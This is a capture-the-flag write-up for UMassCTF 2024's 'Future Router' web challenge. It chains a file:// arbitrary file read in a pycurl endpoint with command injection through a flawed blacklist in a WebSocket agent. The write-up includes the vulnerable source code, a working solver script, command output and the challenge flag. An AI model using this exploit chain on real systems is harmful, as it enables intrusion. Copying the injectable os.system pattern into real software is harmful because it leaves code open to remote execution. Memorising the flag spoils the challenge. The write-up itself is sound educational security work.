Future Router - UMassCTF 2024 Writeup

Posted on Mon, Apr 22, 2024 UMassCTF'24 Web Application Command Injection
A web category challenge which involves chaining an arbitrary file read vulnerability in a cURL utility with a command injection vulnerability on a WebSocket-based customer service agent.

Preface

This weekend, I participated in UMassCTF 2024 with my team AdelaideB9 where we placed 41st out of 417 teams. The challenges were generally quite well made and my favourite challenge was a web challenge by the name of “Future Router”. This challenge involves chaining together an arbitrary file read vulnerability in a cURL utility to extract the application source code, then a command injection vulnerability on a WebSocket-based customer service agent to gain RCE on the server, which I found to be quite unique.

Challenge description

Mr. Krabs just got a brand new router in the mail for him to use in the Krusty Krab. There was no mailing address so he's tasked you with figuring out where the router is from and finding a flag!

Note: Please do not run brute forcing or directory busting tools on this challenge. It won't help you get a solve.

http://future-router.ctf.umasscybersec.org

Arbitrary File Read in cURL endpoint

Upon visiting the site, we are able to access four pages: the index page at /, the dashboard at /dash, a cURL tool at /cURL, and a customer service page at /customerservice. We’ll focus on the /cURL endpoint first. Depending on how the web application calls the cURL program and how user input is handled, a tool like this may introduce critical vulnerabilities such as command injection.

The page says we can only cURL devices on the network, so it’s unlikely we’ll be able to inject data remotely. We’ll use Burp Suite Proxy to intercept the request, then send it to Repeater to investigate further:

After trying many injection characters (e.g. ; && |) which came up with nothing, we tried different wrappers and came across the file:// wrapper:

By supplying file:///etc/passwd as the URL, we were able to read the passwd file on the server. This reveals a user of ID 1337 called sheldonjplankton. Unfortunately, this user’s home folder does not exist and the flag is nowhere to be found.

We can use this technique to read a number of files, specifically pseudo-files in /proc/self to get more information about the current process:

file:///proc/self/environ:

OLDPWD=/\u0000PWD=/planktonsrouter1ba8b69e\u0000

file:///proc/self/cmdline:

/usr/local/bin/python\u0000/usr/local/bin/gunicorn\u0000-w\u00004\u0000--bind\u00000.0.0.0:8000\u0000app:app\u0000

We now know that the server is being hosted by gunicorn as app:app and /planktonsrouter1ba8b69e is possibly the path where the application files are stored. Using these pieces of information, we make an educated guess that the source code is likely located in /planktonsrouter1ba8b69e/app.py:

file:///planktonsrouter1ba8b69e/app.py:

from flask import Flask
from blueprints.routes import httpserver

app = Flask(__name__)
# This web server is the property of Sheldon J. Plankton, 
# please refrain from reading this secret source code.
# I WILL USE THIS ROUTER TO STEAL THE SECRET KRABBY PATTY FORMULA!
app.register_blueprint(httpserver, url_prefix='/')

We were able to get the Python source of the application, which imports blueprints.routes, so let’s read that file:

file:///planktonsrouter1ba8b69e/blueprints/routes.py:

from flask import Flask, request, render_template, Blueprint,send_from_directory
from io import BytesIO
import pycurl 

httpserver = Blueprint('httpserver', __name__)

#@httpserver.route("/docs",methods=["GET"])
#def docs():
#   return """<!doctype html>
#    <h1>Router Docs</h1>
#
#    <h2>Websocket API</h2>
#
#    <strong>TODO: Document how to talk to 
#   Karen's customer service module in ../karen/customerservice.py
#   Also figure out how to use supervisord better.</strong>
#"""
#
# Securely CURL URLs, absolutely no bugs here!

@httpserver.route("/static/<path:path>")
def static(path):
    return send_from_directory('static',path)

@httpserver.route("/cURL",methods=["GET","POST"])
def curl():
    if(request.method == "GET"):
        return render_template('curl.html')
    elif(request.method == "POST"):
        try:
            buffer = BytesIO()
            c = pycurl.Curl()
            c.setopt(c.URL, request.json['URL'])
            c.setopt(c.WRITEDATA, buffer)
            c.perform()
            c.close()
            DATA = buffer.getvalue()
            return {"success":DATA.decode('utf-8')}
        except Exception as e:
            return {"error":str(e.with_traceback(None))}

@httpserver.route("/customerservice",methods=["GET"])
def customerservice():
    return render_template('customerservice.html')

NETWORK = [
    {'hostname':'patricks-rock','ports':[{'service':'http','num':80}]},
    {'hostname':'spongebobs-spatula','ports':[{'service':'http','num':80}]},
    {'hostname':'squidwards-clarinet','ports':[{'service':'http','num':80}]},

]
@httpserver.route("/dash",methods=["GET"])
def dash():
    return render_template('dashboard.html',network=NETWORK)

@httpserver.route("/")
def hello_world():
    return render_template("index.html")

We’ve now got the source code for the application’s routes. There is a commented /docs route which mentions that Karen’s customer service module is in ../karen/customerservice.py, let’s get that file too:

file:///planktonsrouter1ba8b69e/karen/customerservice.py

import asyncio, os, re
from websockets.server import serve

# Due to security concerns, I, Sheldon J. Plankton have ensured this module
# has no access to any internet service other than those that are
# trusted. This agent will trick Krabs into sending me the secret
# krabby patty formula which I will log into Karen's secret krabby patty 
# secret formula file! First, I have to fix a few security bugs!
class KarenCustomerServiceAgent:
    SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")
    Dialogue = {
        "Welcome":"Hello! Welcome to the Future Router service bot!",
        "Secret formula":"Thank you for your input, we will process your request in 1-3 business days",
        "Problem":"Are you having an issue? Please enter the secret krabby patty formula in the dialogue box to continue"
    }
    def handle_input(self,message):
        if ("hello" in message):
            return self.Dialogue["Welcome"]
        elif("krabby patty" in message):
            filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
            os.system(f'echo "{filtered_message}\n" >> /dev/null')
            return self.Dialogue["Secret formula"]
        elif("problem" in message):
            return self.Dialogue["Problem"]
        else:
            return "I could not understand your message, this agent is under construction. Please use the other implemented features for now!"
    def xor_decrypt(self,ciphertext):
        plaintext = ""
        cipher_arr = bytearray(ciphertext)
        for i in range(0,len(cipher_arr)):
            plaintext += chr(cipher_arr[i] ^ self.SECRET_KEY[i % len(self.SECRET_KEY)])
        return plaintext

KarenAgent = KarenCustomerServiceAgent()

async def respond(websocket):
    async for message in websocket:
        data = KarenAgent.xor_decrypt(message.encode('latin-1'))
        response = KarenAgent.handle_input(data)
        await websocket.send(response)

async def main():
    async with serve(respond, "0.0.0.0", 9000):
        await asyncio.Future()  # run forever

asyncio.run(main())

OS Command Injection in Customer Service WebSocket Agent

Reading the extracted source code and the JavaScript on the /customerservice page, we learn the customer service module runs as a WebSocket server on ws://future-router.ctf.umasscybersec.org/app/:

window.onload = () => {
    const ws = new WebSocket(`ws:///${location.host}/app/`);
    ws.onmessage = (resp) => {
        response_field.innerText = resp.data;
    };
    agent_submit.onclick = () => {
        ws.send(agent_text.value);
        agent_text.value = '';
    }
}

When the server receives a message, it will first try to decrypt the incoming messages by XOR’ing the input with a hardcoded SECRET_KEY:

SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")

Then, the server will return a template response depending on what the decrypted message starts with. Specifically, if the decrypted message starts with “krabby patty”, it’ll also first filter the message for blacklisted special characters, then echo the message into /dev/null:

elif("krabby patty" in message):
    filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)
    os.system(f'echo "{filtered_message}\n" >> /dev/null')
    return self.Dialogue["Secret formula"]

Checking the blacklist, we notice that the list is incomplete and it is possible to inject additional OS commands into the os.system line using command substitution characters (i.e. $(...) or `...`):

filtered_message = re.sub(r"(\"|\'|\;|\&|\|)","",message)

This can lead to remote code execution on the server. For example, the following decrypted message will cause the whoami command to be run:

krabby patty `whoami`

Additionally, because XOR is commutative, we can “encrypt” our forged messages by XOR’ing it with the SECRET_KEY. Using the above information, we crafted a script to generate and send the WebSocket messages:

solver.py:

#!/usr/bin/env python
import sys
import asyncio
from websockets.sync.client import connect

SERVER_ADDR = "ws://future-router.ctf.umasscybersec.org/app/"
SECRET_KEY = bytearray(b"\xe1\x86\xb2\xa0_\x83B\xad\xd7\xaf\x87f\x1e\xb4\xcc\xbf...i will have the secret krabby patty formula.")

def xor_encrypt(plaintext):
    ciphertext = ""
    plain_arr = bytearray(plaintext)
    for i in range(0,len(plain_arr)):
        ciphertext += chr(plain_arr[i] ^ SECRET_KEY[i % len(SECRET_KEY)])
    return ciphertext

def send_msg(address, msg):
    with connect(SERVER_ADDR) as websocket:
        websocket.send(msg)
        message = websocket.recv()
        print(f"Received: {message}")

if (len(sys.argv) != 2):
    print("Usage: solver.py <command>")
    exit()

cmd = sys.argv[1]
msg = xor_encrypt(f'krabby patty `{cmd}`'.encode())
send_msg(SERVER_ADDR, msg)

This script takes a single argument as the command to be executed on the server. We’ll test for command execution by executing id and redirecting the output to a file in /tmp/pwned.txt:

$ ./solver.py "id > /tmp/pwned.txt"

Received: Thank you for your input, we will process your request in 1-3 business days

We get the standard boilerplate response, let’s check if the file has been created by reading /tmp/pwned:

uid=1337(sheldonjplankton) gid=1337(sheldonjplankton) groups=1337(sheldonjplankton)

We can confirm we have arbitrary code execution on the server! Now all that’s left is to find the flag:

$ ./solver.py "ls -la / > /tmp/pwned.txt"

file:///tmp/pwned.txt:

total 68
drwxr-xr-x   18 nobody           nogroup          4096 Apr 20 18:37 .
drwxr-xr-x   18 nobody           nogroup          4096 Apr 20 18:37 ..
lrwxrwxrwx    1 nobody           nogroup             7 Apr  8 00:00 bin -> usr/bin
drwxr-xr-x    2 nobody           nogroup          4096 Jan 28 21:20 boot
drwxr-xr-x    5 nobody           nogroup           360 Apr 21 15:03 dev
-rwxr-xr-x    1 nobody           nogroup           513 Apr 20 17:49 entrypoint.sh
drwxr-xr-x   32 nobody           nogroup          4096 Apr 12 23:27 etc
-rw-r--r--    1 nobody           nogroup            46 Apr 12 23:27 flag53958e73c5ba4a66
drwxr-xr-x    2 nobody           nogroup          4096 Jan 28 21:20 home
lrwxrwxrwx    1 nobody           nogroup             7 Apr  8 00:00 lib -> usr/lib
lrwxrwxrwx    1 nobody           nogroup             9 Apr  8 00:00 lib64 -> usr/lib64
drwxr-xr-x    2 nobody           nogroup          4096 Apr  8 00:00 media
drwxr-xr-x    2 nobody           nogroup          4096 Apr  8 00:00 mnt
drwxr-xr-x    2 nobody           nogroup          4096 Apr  8 00:00 opt
drwxr-xr-x    6 nobody           nogroup          4096 Apr 20 17:50 planktonsrouter1ba8b69e
dr-xr-xr-x 3851 nobody           nogroup             0 Apr 21 15:03 proc
drwx------    3 nobody           nogroup          4096 Apr 12 23:27 root
drwxr-xr-x    3 nobody           nogroup          4096 Apr  8 00:00 run
lrwxrwxrwx    1 nobody           nogroup             8 Apr  8 00:00 sbin -> usr/sbin
drwxr-xr-x    2 nobody           nogroup          4096 Apr  8 00:00 srv
drwxr-xr-x    2 nobody           nogroup          4096 Jan 28 21:20 sys
drwxrwxrwt    2 sheldonjplankton sheldonjplankton   80 Apr 21 17:06 tmp
drwxr-xr-x   12 nobody           nogroup          4096 Apr  8 00:00 usr
drwxr-xr-x   11 nobody           nogroup          4096 Apr  8 00:00 var

The flag is located in /flag53958e73c5ba4a66, let’s read it:

file:///flag53958e73c5ba4a66:

We get the flag: UMASS{W3lC0m3_t0_Th3_FuTur3_Kr4bS_c28e1089b2}

Resources

  1. websockets 12.0 documentation - https://websockets.readthedocs.io/en/stable/